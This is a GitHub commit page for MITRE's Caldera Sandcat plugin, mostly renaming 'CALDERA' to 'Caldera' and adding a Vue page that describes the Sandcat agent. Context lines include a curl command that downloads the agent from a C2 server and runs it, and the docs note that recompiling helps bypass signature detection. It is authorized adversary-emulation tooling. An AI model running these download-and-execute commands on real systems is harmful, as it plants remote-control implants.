Skip to content

Commit

Permalink
Merge pull request #437 from mitre/magma
Browse files Browse the repository at this point in the history
merge magma vue into master
  • Loading branch information
elegantmoose authored Feb 13, 2024
2 parents 4ddafbd + 553cde0 commit b408f3f
Show file tree
Hide file tree
Showing 3 changed files with 23 additions and 8 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,7 @@

- id: 2f34977d-9558-4c12-abad-349716777c6b
name: Sandcat
description: CALDERA's default agent, written in GoLang. Communicates through the HTTP(S) contact by default.
description: Caldera's default agent, written in GoLang. Communicates through the HTTP(S) contact by default.
tactic: command-and-control
technique:
attack_id: T1105
Expand Down Expand Up @@ -49,7 +49,7 @@
curl -s -X POST -H "file:sandcat.go" -H "platform:darwin" -H "architecture:amd64" -H "gocat-extensions:proxy_http" -H "includeProxyPeers:HTTP" $server/file/download > #{agents.implant_name};
chmod +x #{agents.implant_name};
./#{agents.implant_name} -server $server -listenP2P -v
- description: (ARM64) CALDERA's default agent, written in GoLang. Communicates through the HTTP(S) contact by default.
- description: (ARM64) Caldera's default agent, written in GoLang. Communicates through the HTTP(S) contact by default.
architecture: ARM64
command: |
server="#{app.contact.http}";
Expand Down
12 changes: 6 additions & 6 deletions docs/Sandcat-Details.md
Original file line number Diff line number Diff line change
@@ -1,10 +1,10 @@
# Sandcat Plugin Details

The Sandcat plugin provides CALDERA with its default agent implant, Sandcat.
The Sandcat plugin provides Caldera with its default agent implant, Sandcat.
The agent is written in GoLang for cross-platform compatibility and can currently be compiled to run on
Windows, Linux, and MacOS targets.

While the CALDERA C2 server requires GoLang to be installed in order to compile agent binaries,
While the Caldera C2 server requires GoLang to be installed in order to compile agent binaries,
no installation is required on target machines - the agent program will simply run as an executable.

The `sandcat` plugin does come with precompiled binaries, but these only contain the basic
Expand Down Expand Up @@ -35,11 +35,11 @@ latest compiled version on your system.
To deploy Sandcat, use one of the built-in delivery commands from the main server GUI which allows you to run the agent
on Windows, Mac, or Linux.

Each of these commands downloads a compiled Sandcat executable from CALDERA and runs it immediately.
Each of these commands downloads a compiled Sandcat executable from Caldera and runs it immediately.

Once the agent is running, it should show log messages when it beacons into CALDERA.
Once the agent is running, it should show log messages when it beacons into Caldera.

> If you have GoLang installed on the CALDERA server, each time you run one of the delivery commands above,
> If you have GoLang installed on the Caldera server, each time you run one of the delivery commands above,
the agent will re-compile itself dynamically to obtain a new file hash. This will help bypass file-based signature detections.

### Options
Expand Down Expand Up @@ -142,7 +142,7 @@ The following values describe exit codes utilized by specific executors:

## Customizing Default Options & Execution Without CLI Options

It is possible to customize the default values of these options when pulling Sandcat from the CALDERA server.
It is possible to customize the default values of these options when pulling Sandcat from the Caldera server.
This is useful if you want to hide the parameters from the process tree or if you cannot specify arguments when executing the agent binary.

You can do this by passing the values in as headers when requesting the agent binary from the C2 server instead of as parameters when executing the binary.
Expand Down
15 changes: 15 additions & 0 deletions gui/views/sandcat.vue
Original file line number Diff line number Diff line change
@@ -0,0 +1,15 @@
<script setup></script>

<template lang="pug">
.content
h2 Sandcat
p A coordinated access trojan (CAT)
hr

.content
p
| The Sandcat agent is a program that can easily be deployed on any computer, upon which,
| will form a persistent connection back, allowing an operator to execute adversary
| emulation exercises. Sandcat communicates with the server over HTTP(S) by default.
p.has-text-weight-bold To deploy a Sandcat agent, go to the Agents tab.
</template>

0 comments on commit b408f3f

Please sign in to comment.